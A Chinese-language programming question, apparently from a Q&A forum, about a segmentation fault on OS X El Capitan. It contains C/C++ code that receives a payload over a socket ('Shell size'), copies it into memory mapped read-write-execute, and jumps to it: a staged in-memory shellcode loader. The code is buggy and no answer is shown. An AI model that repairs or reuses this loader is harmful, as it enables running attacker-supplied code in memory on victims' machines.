在OS X -El Capitan上执行mmap内存时出错

Question

我正在编写一个程序来在socket接收的内存上执行远程代码。我正在使用mmap生成内存空间，使用strncpy或memcpy将数据复制到内存。之后，我尝试执行它，我总是得到一个“分段错误：11”。这是代码：

#define DEFAULT_BUFLEN 1024
#define PAGE_EXECUTE_READWRITE 1
static const size_t SIZE = 1024;

#include <sys/mman.h>
#include <sys/types.h>
long int iResult = 1;

void error(const char *msg) {
perror(msg);
exit(1);
}

void execute(char *data) {
    void *addr;
    addr = mmap(0, SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, -1, 0);
    if (addr == MAP_FAILED)
        cout << "MAP fail" << endl;
    //strncpy((char *)addr, argv, sizeof(char)*sizeof(argv));
    memcpy(addr,data,sizeof(data));
   ((void (*)(void))addr)();
}

BOOL InMemoryRun(SOCKET ConnectSocketPE)
{
    int recvbuflen = DEFAULT_BUFLEN;
    char recvbuf[DEFAULT_BUFLEN];
    cout << "[*] Starting Download Process" << endl;
    recv(ConnectSocketPE, recvbuf, 1024, 0);
    size_t a = atoi(recvbuf);
    cout << "Shell size: " << a << endl;
    sleep(2);
    cout << "[*] Receiving Data...";

    iResult = recv(ConnectSocketPE, recvbuf, recvbuflen, 0);

    cout << "Done!"<<endl<<"[!] Starting exeutable..."<< endl;
    execute(recvbuf);
    return true;   
 }

提前致谢。